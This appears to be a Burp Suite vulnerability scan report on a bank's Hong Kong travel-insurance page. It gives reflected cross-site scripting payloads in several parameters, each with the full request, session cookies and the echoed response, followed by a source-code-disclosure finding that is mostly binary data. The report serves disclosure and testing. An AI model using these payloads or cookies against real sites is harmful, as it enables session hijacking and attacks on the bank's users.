/1/2/!ut/p/kcxml/04_Sj9SPykssy0xPLMnMz0vM0Y_QjzKLN4o3NfMDSZnFG8Ybm-pHoggZxDsiRHw98nNT9YOAMpHmQMXO3k76UTmp6YnJlfrB-t76AfoFuaER5d6OjgCeMQ4X/delta/base64xml/L0lJSk03dWlDU1lKSi9vQXd3QUFNWWdBQ0VJUWhDRUVJaEZLQSEvNEZHZ2RZbktKMEZSb1hmckNIZGgvN18xX0NLQi8yMC9zYS4!
Issue detail
The value of the PC_7_1_CKB_input.peopletravelling request parameter is copied into a JavaScript string which is encapsulated in double quotation marks. The payload 8f314"%3balert(1)//5a389706e86 was submitted in the PC_7_1_CKB_input.peopletravelling parameter. This input was echoed as 8f314";alert(1)//5a389706e86 in the application's response. This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
Request
GET /1/2/!ut/p/kcxml/04_Sj9SPykssy0xPLMnMz0vM0Y_QjzKLN4o3NfMDSZnFG8Ybm-pHoggZxDsiRHw98nNT9YOAMpHmQMXO3k76UTmp6YnJlfrB-t76AfoFuaER5d6OjgCeMQ4X/delta/base64xml/L0lJSk03dWlDU1lKSi9vQXd3QUFNWWdBQ0VJUWhDRUVJaEZLQSEvNEZHZ2RZbktKMEZSb1hmckNIZGgvN18xX0NLQi8yMC9zYS4!?PC_7_1_CKB_WABEngineFormId=travelsurance&PC_7_1_CKB_currentPageNumber=1.1&PC_7_1_CKB_formtimestamp=131bb50c8aa&PC_7_1_CKB_input.trip_type=S&PC_7_1_CKB_input.start_day=12&PC_7_1_CKB_input.start_month=08&PC_7_1_CKB_input.start_year=2011&PC_7_1_CKB_input.start_date=20110812&PC_7_1_CKB_input.end_day=09&PC_7_1_CKB_input.end_month=08&PC_7_1_CKB_input.end_year=2012&PC_7_1_CKB_input.end_date=20120809&PC_7_1_CKB_input.peopletravelling=8f314"%3balert(1)//5a389706e86 &input.no_of_children=3&PC_7_1_CKB_number_of_children=false&input.is_include_rf=Y&PC_7_1_CKB_is_include_rf=false&PC_7_1_CKB_input.hidden_rf=1&input.no_of_rf=3&PC_7_1_CKB_number_of_rf=false&PC_7_1_CKB_input.destination=2&PC_7_1_CKB_cmd_get_quote.x=32&PC_7_1_CKB_cmd_get_quote.y=13 HTTP/1.1 Host: www.hsbc.com.hk User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20110504 Namoroka/3.6.13 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 Accept-Language: en-us,en;q=0.5 Accept-Encoding: gzip,deflate Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7 Keep-Alive: 115 Connection: keep-alive Referer: http://burp/show/8 Cookie: CAMToken=EtQx8ZNKxzN7+GP2EwdgJpCKS8M=; HKWTK=1103220746.24515.0000; JSESSIONID=0000chj8giks8WFmVqJ3b5MfvrQ:12gkou1ov; HSBC_COOKIEMI=dd0a91b0-c475-11e0-8391-000708050602; SCMVisit=INSU20110811190739%2CTRIN20110811191231%2CCAVP20110811190908; DigitalMarket=INTERNAL_FIRST_BANNER%7C%23%7CAMH_PFS_PWS_1108_INS_M_TRASUR_01_E%7C%23%7CINTERNAL_LAST_BANNER%7C%23%7CAMH_PFS_PWS_1108_INS_M_TRASUR_01_E
Response
HTTP/1.1 200 OK Date: Fri, 12 Aug 2011 00:13:50 GMT Server: IBM_HTTP_Server Cache-Control: private Cache-Control: max-age=60 Expires: Fri, 12 Aug 2011 00:14:41 GMT Vary: Accept-Encoding S: tkim2-hbappws51-qrim212 Keep-Alive: timeout=15 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Content-Length: 61815 <!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html lang="en" xmlns="http://www.w3.org/1999/xhtml"> <head> <meta http-equiv=...[SNIP]... <!-- var checkSubmit = "8f314";alert(1)//5a389706e86 "; var trip_type = ""; var trip_option = document.getElementsByName("PC_7_1_CKB_input.trip_type"); for (var i = 0; i < 2; i++){ if(trip_option[i].checked==true){ trip_type = trip_option[i].valu...[SNIP]...
1.11. https://www.hsbc.com.hk/1/2/!ut/p/kcxml/04_Sj9SPykssy0xPLMnMz0vM0Y_QjzKLN4o3NfMDSZnFG8Ybm-pHoggZxDsiRHw98nNT9YOAMpHmQMXO3k76UTmp6YnJlfrB-t76AfoFuaER5d6OjgCeMQ4X/delta/base64xml/L0lJSk03dWlDU1lKSi9vQXd3QUFNWWdBQ0VJUWhDRUVJaEZLQSEvNEZHZ2RZbktKMEZSb1hmckNIZGgvN18xX0NLQi8yMC9zYS4! [PC_7_1_CKB_input.peopletravelling parameter]
previous
next
Summary
Severity:
High
Confidence:
Certain
Host:
https://www.hsbc.com.hk
Path:
/1/2/!ut/p/kcxml/04_Sj9SPykssy0xPLMnMz0vM0Y_QjzKLN4o3NfMDSZnFG8Ybm-pHoggZxDsiRHw98nNT9YOAMpHmQMXO3k76UTmp6YnJlfrB-t76AfoFuaER5d6OjgCeMQ4X/delta/base64xml/L0lJSk03dWlDU1lKSi9vQXd3QUFNWWdBQ0VJUWhDRUVJaEZLQSEvNEZHZ2RZbktKMEZSb1hmckNIZGgvN18xX0NLQi8yMC9zYS4!
Issue detail
The value of the PC_7_1_CKB_input.peopletravelling request parameter is copied into a JavaScript rest-of-line comment. The payload f99c9%0aalert(1)//67a26bb1ee0 was submitted in the PC_7_1_CKB_input.peopletravelling parameter. This input was echoed as f99c9 alert(1)//67a26bb1ee0 in the application's response. This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
Request
GET /1/2/!ut/p/kcxml/04_Sj9SPykssy0xPLMnMz0vM0Y_QjzKLN4o3NfMDSZnFG8Ybm-pHoggZxDsiRHw98nNT9YOAMpHmQMXO3k76UTmp6YnJlfrB-t76AfoFuaER5d6OjgCeMQ4X/delta/base64xml/L0lJSk03dWlDU1lKSi9vQXd3QUFNWWdBQ0VJUWhDRUVJaEZLQSEvNEZHZ2RZbktKMEZSb1hmckNIZGgvN18xX0NLQi8yMC9zYS4!?PC_7_1_CKB_WABEngineFormId=travelsurance&PC_7_1_CKB_currentPageNumber=1.1&PC_7_1_CKB_formtimestamp=131bb50c8aa&PC_7_1_CKB_input.trip_type=S&PC_7_1_CKB_input.start_day=12&PC_7_1_CKB_input.start_month=08&PC_7_1_CKB_input.start_year=2011&PC_7_1_CKB_input.start_date=20110812&PC_7_1_CKB_input.end_day=09&PC_7_1_CKB_input.end_month=08&PC_7_1_CKB_input.end_year=2012&PC_7_1_CKB_input.end_date=20120809&PC_7_1_CKB_input.peopletravelling=Beed86%22%3balert(document.location)//bce1ca0334318eccf99c9%0aalert(1)//67a26bb1ee0 &input.no_of_children=3&PC_7_1_CKB_number_of_children=false&input.is_include_rf=Y&PC_7_1_CKB_is_include_rf=false&PC_7_1_CKB_input.hidden_rf=1&input.no_of_rf=3&PC_7_1_CKB_number_of_rf=false&PC_7_1_CKB_input.destination=2&PC_7_1_CKB_cmd_get_quote.x=32&PC_7_1_CKB_cmd_get_quote.y=13 HTTP/1.1 Host: www.hsbc.com.hk User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20110504 Namoroka/3.6.13 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 Accept-Language: en-us,en;q=0.5 Accept-Encoding: gzip,deflate Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7 Keep-Alive: 115 Connection: keep-alive Referer: http://burp/show/8 Cookie: CAMToken=EtQx8ZNKxzN7+GP2EwdgJpCKS8M=; HKWTK=1103220746.24515.0000; JSESSIONID=0000chj8giks8WFmVqJ3b5MfvrQ:12gkou1ov; HSBC_COOKIEMI=dd0a91b0-c475-11e0-8391-000708050602; SCMVisit=INSU20110811190739%2CTRIN20110811191231%2CCAVP20110811190908; DigitalMarket=INTERNAL_FIRST_BANNER%7C%23%7CAMH_PFS_PWS_1108_INS_M_TRASUR_01_E%7C%23%7CINTERNAL_LAST_BANNER%7C%23%7CAMH_PFS_PWS_1108_INS_M_TRASUR_01_E
Response
HTTP/1.1 200 OK Date: Fri, 12 Aug 2011 00:13:52 GMT Server: IBM_HTTP_Server Cache-Control: private Cache-Control: max-age=60 Expires: Fri, 12 Aug 2011 00:14:42 GMT Vary: Accept-Encoding S: tkim2-hbappws51-qrim212 Keep-Alive: timeout=15 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Content-Length: 61913 <!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html lang="en" xmlns="http://www.w3.org/1999/xhtml"> <head> <meta http-equiv=...[SNIP]... <!-- var checkSubmit = "Beed86";alert(document.location)//bce1ca0334318eccf99c9 alert(1)//67a26bb1ee0 "; var trip_type = ""; var trip_option = document.getElementsByName("PC_7_1_CKB_input.trip_type"); for (var i = 0; i < 2; i++){ if(trip_option[i].checked==true){ trip_type = trip_option[i].valu...[SNIP]...
1.12. https://www.hsbc.com.hk/1/2/!ut/p/kcxml/04_Sj9SPykssy0xPLMnMz0vM0Y_QjzKLN4o3NfMDSZnFG8Ybm-pHoggZxDsiRHw98nNT9YOAMpHmQMXO3k76UTmp6YnJlfrB-t76AfoFuaER5d6OjgCeMQ4X/delta/base64xml/L0lJSk03dWlDU1lKSi9vQXd3QUFNWWdBQ0VJUWhDRUVJaEZLQSEvNEZHZ2RZbktKMEZSb1hmckNIZGgvN18xX0NLQi8yMC9zYS4! [PC_7_1_CKB_number_of_children parameter]
previous
next
Summary
Severity:
High
Confidence:
Certain
Host:
https://www.hsbc.com.hk
Path:
/1/2/!ut/p/kcxml/04_Sj9SPykssy0xPLMnMz0vM0Y_QjzKLN4o3NfMDSZnFG8Ybm-pHoggZxDsiRHw98nNT9YOAMpHmQMXO3k76UTmp6YnJlfrB-t76AfoFuaER5d6OjgCeMQ4X/delta/base64xml/L0lJSk03dWlDU1lKSi9vQXd3QUFNWWdBQ0VJUWhDRUVJaEZLQSEvNEZHZ2RZbktKMEZSb1hmckNIZGgvN18xX0NLQi8yMC9zYS4!
Issue detail
The value of the PC_7_1_CKB_number_of_children request parameter is copied into a JavaScript expression which is not encapsulated in any quotation marks. The payload f5dea%3balert(1)//19c929529ef was submitted in the PC_7_1_CKB_number_of_children parameter. This input was echoed as f5dea;alert(1)//19c929529ef in the application's response. This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
Request
GET /1/2/!ut/p/kcxml/04_Sj9SPykssy0xPLMnMz0vM0Y_QjzKLN4o3NfMDSZnFG8Ybm-pHoggZxDsiRHw98nNT9YOAMpHmQMXO3k76UTmp6YnJlfrB-t76AfoFuaER5d6OjgCeMQ4X/delta/base64xml/L0lJSk03dWlDU1lKSi9vQXd3QUFNWWdBQ0VJUWhDRUVJaEZLQSEvNEZHZ2RZbktKMEZSb1hmckNIZGgvN18xX0NLQi8yMC9zYS4!?PC_7_1_CKB_WABEngineFormId=travelsurance&PC_7_1_CKB_currentPageNumber=1.1&PC_7_1_CKB_formtimestamp=131bb50c8aa&PC_7_1_CKB_input.trip_type=S&PC_7_1_CKB_input.start_day=12&PC_7_1_CKB_input.start_month=08&PC_7_1_CKB_input.start_year=2011&PC_7_1_CKB_input.start_date=20110812&PC_7_1_CKB_input.end_day=09&PC_7_1_CKB_input.end_month=08&PC_7_1_CKB_input.end_year=2012&PC_7_1_CKB_input.end_date=20120809&PC_7_1_CKB_input.peopletravelling=Beed86%22%3balert(document.location)//bce1ca0334318ecc&input.no_of_children=3&PC_7_1_CKB_number_of_children=falsef5dea%3balert(1)//19c929529ef &input.is_include_rf=Y&PC_7_1_CKB_is_include_rf=false&PC_7_1_CKB_input.hidden_rf=1&input.no_of_rf=3&PC_7_1_CKB_number_of_rf=false&PC_7_1_CKB_input.destination=2&PC_7_1_CKB_cmd_get_quote.x=32&PC_7_1_CKB_cmd_get_quote.y=13 HTTP/1.1 Host: www.hsbc.com.hk User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20110504 Namoroka/3.6.13 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 Accept-Language: en-us,en;q=0.5 Accept-Encoding: gzip,deflate Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7 Keep-Alive: 115 Connection: keep-alive Referer: http://burp/show/8 Cookie: CAMToken=EtQx8ZNKxzN7+GP2EwdgJpCKS8M=; HKWTK=1103220746.24515.0000; JSESSIONID=0000chj8giks8WFmVqJ3b5MfvrQ:12gkou1ov; HSBC_COOKIEMI=dd0a91b0-c475-11e0-8391-000708050602; SCMVisit=INSU20110811190739%2CTRIN20110811191231%2CCAVP20110811190908; DigitalMarket=INTERNAL_FIRST_BANNER%7C%23%7CAMH_PFS_PWS_1108_INS_M_TRASUR_01_E%7C%23%7CINTERNAL_LAST_BANNER%7C%23%7CAMH_PFS_PWS_1108_INS_M_TRASUR_01_E
Response
HTTP/1.1 200 OK Date: Fri, 12 Aug 2011 00:13:53 GMT Server: IBM_HTTP_Server Cache-Control: private Cache-Control: max-age=60 Expires: Fri, 12 Aug 2011 00:14:44 GMT Vary: Accept-Encoding S: tkim2-hbappws51-qrim212 Keep-Alive: timeout=15 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Content-Length: 61886 <!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html lang="en" xmlns="http://www.w3.org/1999/xhtml"> <head> <meta http-equiv=...[SNIP]... <!-- var input_numberOfChildren = falsef5dea;alert(1)//19c929529ef ; var checkSubmit = "Beed86";alert(document.location)//bce1ca0334318ecc"; var PC_7_1_CKB_no_of_children_list=document.getElementById("PC_7_1_CKB_no_of_children_list"); if (checkSubmit=="C"||checkSu...[SNIP]...
1.13. https://www.hsbc.com.hk/1/2/!ut/p/kcxml/04_Sj9SPykssy0xPLMnMz0vM0Y_QjzKLN4o3NfMDSZnFG8Ybm-pHoggZxDsiRHw98nNT9YOAMpHmQMXO3k76UTmp6YnJlfrB-t76AfoFuaER5d6OjgCeMQ4X/delta/base64xml/L0lJSk03dWlDU1lKSi9vQXd3QUFNWWdBQ0VJUWhDRUVJaEZLQSEvNEZHZ2RZbktKMEZSb1hmckNIZGgvN18xX0NLQi8yMC9zYS4! [PC_7_1_CKB_number_of_rf parameter]
previous
next
Summary
Severity:
High
Confidence:
Certain
Host:
https://www.hsbc.com.hk
Path:
/1/2/!ut/p/kcxml/04_Sj9SPykssy0xPLMnMz0vM0Y_QjzKLN4o3NfMDSZnFG8Ybm-pHoggZxDsiRHw98nNT9YOAMpHmQMXO3k76UTmp6YnJlfrB-t76AfoFuaER5d6OjgCeMQ4X/delta/base64xml/L0lJSk03dWlDU1lKSi9vQXd3QUFNWWdBQ0VJUWhDRUVJaEZLQSEvNEZHZ2RZbktKMEZSb1hmckNIZGgvN18xX0NLQi8yMC9zYS4!
Issue detail
The value of the PC_7_1_CKB_number_of_rf request parameter is copied into a JavaScript expression which is not encapsulated in any quotation marks. The payload 5ba8d%3balert(1)//2437f3f8a0d was submitted in the PC_7_1_CKB_number_of_rf parameter. This input was echoed as 5ba8d;alert(1)//2437f3f8a0d in the application's response. This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
Request
GET /1/2/!ut/p/kcxml/04_Sj9SPykssy0xPLMnMz0vM0Y_QjzKLN4o3NfMDSZnFG8Ybm-pHoggZxDsiRHw98nNT9YOAMpHmQMXO3k76UTmp6YnJlfrB-t76AfoFuaER5d6OjgCeMQ4X/delta/base64xml/L0lJSk03dWlDU1lKSi9vQXd3QUFNWWdBQ0VJUWhDRUVJaEZLQSEvNEZHZ2RZbktKMEZSb1hmckNIZGgvN18xX0NLQi8yMC9zYS4!?PC_7_1_CKB_WABEngineFormId=travelsurance&PC_7_1_CKB_currentPageNumber=1.1&PC_7_1_CKB_formtimestamp=131bb50c8aa&PC_7_1_CKB_input.trip_type=S&PC_7_1_CKB_input.start_day=12&PC_7_1_CKB_input.start_month=08&PC_7_1_CKB_input.start_year=2011&PC_7_1_CKB_input.start_date=20110812&PC_7_1_CKB_input.end_day=09&PC_7_1_CKB_input.end_month=08&PC_7_1_CKB_input.end_year=2012&PC_7_1_CKB_input.end_date=20120809&PC_7_1_CKB_input.peopletravelling=Beed86%22%3balert(document.location)//bce1ca0334318ecc&input.no_of_children=3&PC_7_1_CKB_number_of_children=false&input.is_include_rf=Y&PC_7_1_CKB_is_include_rf=false&PC_7_1_CKB_input.hidden_rf=1&input.no_of_rf=3&PC_7_1_CKB_number_of_rf=false5ba8d%3balert(1)//2437f3f8a0d &PC_7_1_CKB_input.destination=2&PC_7_1_CKB_cmd_get_quote.x=32&PC_7_1_CKB_cmd_get_quote.y=13 HTTP/1.1 Host: www.hsbc.com.hk User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20110504 Namoroka/3.6.13 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 Accept-Language: en-us,en;q=0.5 Accept-Encoding: gzip,deflate Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7 Keep-Alive: 115 Connection: keep-alive Referer: http://burp/show/8 Cookie: CAMToken=EtQx8ZNKxzN7+GP2EwdgJpCKS8M=; HKWTK=1103220746.24515.0000; JSESSIONID=0000chj8giks8WFmVqJ3b5MfvrQ:12gkou1ov; HSBC_COOKIEMI=dd0a91b0-c475-11e0-8391-000708050602; SCMVisit=INSU20110811190739%2CTRIN20110811191231%2CCAVP20110811190908; DigitalMarket=INTERNAL_FIRST_BANNER%7C%23%7CAMH_PFS_PWS_1108_INS_M_TRASUR_01_E%7C%23%7CINTERNAL_LAST_BANNER%7C%23%7CAMH_PFS_PWS_1108_INS_M_TRASUR_01_E
Response
HTTP/1.1 200 OK Date: Fri, 12 Aug 2011 00:13:57 GMT Server: IBM_HTTP_Server Cache-Control: private Cache-Control: max-age=60 Expires: Fri, 12 Aug 2011 00:14:47 GMT Vary: Accept-Encoding S: tkim2-hbappws51-qrim212 Keep-Alive: timeout=15 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Content-Length: 61886 <!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html lang="en" xmlns="http://www.w3.org/1999/xhtml"> <head> <meta http-equiv=...[SNIP]... </label>'; var input_numberOfFriend = false5ba8d;alert(1)//2437f3f8a0d ; if(checkSubmit=="R"){ document.getElementById("PC_7_1_CKB_no_of_rf_question").style.display="none"; document.getElementById("PC_7_1_CKB_no_of_rf_question").innerHTML=""; }else{ docu...[SNIP]...
2. Source code disclosure
previous
next
There are 5 instances of this issue:
Issue background
Server-side source code may contain sensitive information which can help an attacker formulate attacks against the application.
Issue remediation
Server-side source code is normally disclosed to clients as a result of typographical errors in scripts or because of misconfiguration, such as failing to grant executable permissions to a script or directory. You should review the cause of the code disclosure and prevent it from happening.
2.1. http://www.hsbc.com.hk/1/PA_1_3_S5/content/hongkongpws/internet_banking/flash/econn-demo.swf
previous
next
Summary
Severity:
Low
Confidence:
Tentative
Host:
http://www.hsbc.com.hk
Path:
/1/PA_1_3_S5/content/hongkongpws/internet_banking/flash/econn-demo.swf
Issue detail
The application appears to disclose some server-side source code written in PHP and ASP.
Request
GET /1/PA_1_3_S5/content/hongkongpws/internet_banking/flash/econn-demo.swf HTTP/1.1 Host: www.hsbc.com.hk User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20110504 Namoroka/3.6.13 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 Accept-Language: en-us,en;q=0.5 Accept-Encoding: gzip,deflate Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7 Keep-Alive: 115 Proxy-Connection: keep-alive Referer: http://www.hsbc.com.hk/1/2/internet-banking/econn-demo Cookie: HKWTK=1103220746.24515.0000; JSESSIONID=0000chj8giks8WFmVqJ3b5MfvrQ:12gkou1ov; HSBC_COOKIEMI=dd0a91b0-c475-11e0-8391-000708050602
Response
HTTP/1.1 200 OK Date: Fri, 12 Aug 2011 00:05:43 GMT Server: IBM_HTTP_Server last-modified: Mon, 21 Jun 2010 03:43:47 GMT S: tkim2-hbappws51-qrim212 Vary: Accept-Encoding Content-Type: text/plain Content-Language: en Content-Length: 1228395 CWS.....x...uP....;@p .....|..N...n ..N....=.....\C.!a....S{..{wo]..M.o?..o?.n.<......#....x..... ...P..Q.\r.'x*....p.y...mMq.....ppPOU...a.....G;.LP..4@c.............$M.B....u..s `....o"MpQ.-z.P....[SNIP]... <........ ......@h....I...#.#4.C...tP.g0G7j....Bu.K1...e.Pa..b.B,.Q.a....g..3...|..._3......5..nM...u.J6../..&..[...8..f.<%.....d...]Y...Y..N....Uf...^G1..7...e.;.j.....T........n.,h.P.........l...O..... ..b+.......".M.0..[....b.%... fB..q..`.].~`.^.*+..>.9.Y#i.$.....-2F%..I]........a..WC.....Ee...L.,..........Z..|.575...........|..Q.zz.*....I.F... ...atY {..#..1.....(K]7T.U...To*.hB..W.?../.5v.+.S.{..^..M.>P....P.@.~^.. ^....4..nL)...+#.-....r/GI...o...j.Ows3.<6.-.!.:..$..<..lR.z.oa9!..XU.N...J..b%M\.@..M.._Fs..).....(.c.Bx. m....C...gT$.p..go.iR.a.......-ZBnR45,.....#4.......&.L.........7o._...!f.a%IU\..s48..Q& ..........>.......).....Y.C'L...6]5.........D."<._.. 8/...tWq..|.5.ec.T*f.{..jtp...b.J.E0.......p...'D3..j.^v....lG..;.iJy..Y{.....a.N.....7.....1.!...Z....f..k.....'.Dc..U...:.3i....NA......x..IZ....C..B..Z...{.%.........l.....CO(>.+G.d.@0..Y...#6.S..Z$...`..."A#....h].H&.$...<...9.X.o.+.N..p....g.pQ.<~t.OJN.N..J.........S.PB=.\ o.H.S....%8.T..1[......Nt.P....Q./=.[.V..w..s;^V....O.b.. ..I<....)O........kC...X.4w..7A<.5./E.. z..3M...S..". Kz.~..KQ>..t.........\....,..<y.e..!..)..O.G.........K.......C.rcf,....Xe.AeE.*..,>...w.... ^.[...z..QL...*....s....:.X]..FEK0...{......x.nY!(.....3a...J[......(R5...RM...p...$....{..vN)..>..y.LC(&$.,.....v........'d c..mq...l.U#pwy....CH.!...r...E/.x..G...Vh.'.....B.u].}3]....Arh.....46...z..9..J.|.8....A......bJ._....S(.ES<.J-.x....$J%RJA.!.x<1%.... ..5..'?.<4N.hN5...%.._.X...Y....dT.L.O.l.R_...8=\....!g..WF..............!.A.a.\..of}.....AR.6.%.....o....732.$E6...%..A.@.....O.3..C..=Wv........j...4....L?.OF93G}p...[&.....u..........;.#..W..|L`....a{D%k."[..q.M.........#.....h.... X...$..........sD.L#..>`a....l..A.~)..*.KM.G..KK...3n. >e..QhCslf{}qcIj-.3.w..k ..-0..M...aH...m.>j.-.Mg.}5;?.d...HO.....? !#.t.r0.jD.w.!....e.........r.c_T._ )..^.........C....... a...V.S.X.n.7F/{6..I.... .B.3..t.z....$T+....#XTGJ.AS.@Lj.l.......fO..k-`l...529=..F?.%G...!.f...%..e...l.d!..>....32%.z%......0.T.&B..0.|.6.j%g`q....;V..../.5..4....7P.)LQ..xq.^....dW..uA'......4. ..I%...$...)q..&2fF.1T.?..a.rHn.X.....+,.(...t.w.......R.].....Q.1.."Y=.B......h.....>.. .y3!uV..........0.=F[]/...|7..#......2.O........K.......a('.vFt.E@.......B}.....N...s*;..._8.>i..%.%...dF$....|....Bf...>g.*...k3.D.u.E....4......|...u.q....I..A\"....:.....L.e....~w'K..Lgy$R.(z...q&...s...G|-..$.2..,....MU_......Es...0..qpM-........l.|......c....o.E..}N.W..T.].....Dt6.b,Lby.r..s..;.C.....h\..../.4H,.a7.;0..=........z.7...c&e.....D.7......;..z.....1j...\E&...........?.$.S.S..m...J...g]..x$o<.i.............~..u..-....+..a..5+.m.k...'[.2....kF.'.a]..]R....-....)....:.2......e.........]). ..)z[.r. ..._.uT....`.fsZ..3..ZU3}k.....V.>.$o6.....<@..4.T...'zW........[.7..Z...W5T w#.. e:.....b. .H....OR.k.4q....GxA]MM........}..H.6.|......qB.......w6.0..:j+Y...G.~>U.....wKc..&.....H.]..?).u....U+....mj........B....2^.&.......&....kq|....o..^.....sz...Yq..`.......]q....K.D.r.Y.P.#..~.n ...&.S..v....%....4..q....|....0......|......oV..w_.y....u #%.2....>...y.6k......"/.gJ.bC..._.=..4v!..)...8......X.........Q.... D.r..@...#.H7!GBN.=...*.e......$.=..a..(.+.J..`...z.f.%B.I..Yk.uJ;...1...'...Ri<..d.^FZZjp..lEl.....^.. *....hK....6..:..b.6Z.z..>......P.g/...-.3.7..2).....N.T...2<...,4.3...|R....5..`....i;.u..... ]......].QX'......4.;P..~..ee.7:.|..Y...k..L..x..)=.M.X..4......2.......e.........Z....{......p..g......7.. ).. /...-...Yreq.............o...Z..c..."f..!.......oP.L;X..........!.....3,s..6.x..g7v..X.UF!yJ4>.Q.I..")..6...>...U...........PC(..._...]......&.X..........44.g...170W...J.&2.S;.>.H.0H..Y.k....Rm.]......N..7..L.{........8.o.V..o'g...~.._.AmY.2.. ..%2..j..O.w...D7v7p..Gzn1J...7.i.o...BS..5..*Q.......%...n.+..e.l.g.......c>..*${`.....Fz.&.......#..,u.3u?.h.^................../.Z.....A.pr..o.q.Y..........Q..}p.....r...R...T.an...F-...e.._H.E..........y....]../h=D......_...vV..e.........3...;.....8..;...h../.....E]..|.j$s,9F..fh^......S:.?"...xi;...7Sm.6&.. r..T.....T......PvS.O..W..2..K./...I...ZA....eGi..{..2...Ypm.......b.C~..y^...H.J...j....;..#...X+...}.2Z.sc.......M^.I....;.&C..U..xmA....?...Y.......-u}.)|....e.o..,.....>....b.....*....UxB)u.(.,.]....X..3..;..gd....V...5J77..v.V...K(_\...==.x.z.F..}^A7...II%Y-....?.p.o x.....?...9...._....[.?...='.Gz.r[ ........V.r..].r"`.I.._.9.HKxc.'.#.%g.).] .<.x.F..].>...a..........9..R..*....|d1>k.<..1c...}........JHK..)..m:...._..<.z.pm....k..}(....M..g........F....V+>V..>.. .;.y\V..e....)5O_..s..i+mR....6Z......F.....,........ho....1.....6..,M.3gLo....b.Pv/|..UT.>....#.8...E.......Jw{..:6..g...?..i.m.....i...0.._.....$. .N.A...XIX..f.v...}..o..'2 ..^=......?4s.............`....Q.b.+..x..r ...h!.l.Uz...-..*...s.:..Ni....P.Ov..~..#....Z.D7.../...$.........P../...].........=......w..j}.C..>..kzx..=w....Yk'.........$.>])..Q....|m..............>.D.........?.].~...3...-......O.S.m.Ib.....~..A..h.%........k.}....[...r.g...+.7(<....>.. XE...Y?....._...K|.?V......(....Z.|9.#|Z<...A..<).).e.U.3l......~P+...?".#.. ..\.M.f.[c...)...X`nMB.m`...;uS.......L......TE.7K,......L-<..`......3.....U.o.....@.1.G[...oP ..j..S?....Ig..3........?3Z1.}.-.QO<...b3. t..W.....-.<........s...U..e}.......S..`6....N\.W.D.,.....v3.:n%...u!.....5{w.).!F......wR.b{...q...Zl._..X]Y4.0....5.A.Hn1..f.`Q_..X.>.m.j.9e.=d.8_..;....\....=.7..g...d.E..".*H.Ae..dUe?c..U../Q(.2_B..R.>..'...D}.F(.6..3.'GJ.Wa..)PP..j.ZRk.3X.).......1M..p..e[. *Z..o.u..`....:. ...fTM.hv..D(.. [...(.bl>]..Z......+.Ww?..Hk .1.d..8..]...........-^...#-...=....a......i8..Q$D...\^K..A:.N/e....c......s.Ba.;....{IJ.6.gB.0.(.c...><.Cj50............U$.......d.......P......k.K...iqG.O.3....e...B?.....z.R..B....D.'. ....o..0...0......N ....WD..........Q..@./} .z|{...|k..Vb%..!5..m..O..z,z..M%/tFSe_.C...........c..K,...p.....F..........0..Me<.VAz....+.s.....^.........e...7....Z......Q. K...F.Gxl.Z]..!...."L-.7..l6..0...0....B..$If?r.....vG...I..B$....I..@U..........Os...Pz.1.n..>.#.. ....Q.......J)... .._........|y...I...<.V"f6/.6..d"S......C.L9/......!Q...../^.._^..k.I.d..I[...~`.z~g..t.WeNk....Z.+....S.&JHt*..q)`&.........4.[SN.}*..+..e......!....1}.-.-........k!N...s......V.g..!..D.yC........Y...GtHc.w.....c#=5X..6....t..z|^h.b..8".B........*..sf....v.FJ..r...{."44...0..R.@<..#g........P~.9.G....} k...eZz.....pK.X...K+5......E....O#|..5Z.N.. ....I.{.T{A...;.>..`7R..6(.>.........k.u.s`........]...u\...#).X....P.... Bf...'....C2.*...*68...{...6e.....k....B.... ....Z...9wj}5....?..M....JK....0,Z..1.AE'f.9.Y.,u.m....Esn..T.,..h]x...hh....v......V.....uV..(..........q...V'.....i....m..0.V..v.F..)..-T~..4By.P.....o....a......R.C..qI.f+_nx_.s..+.... 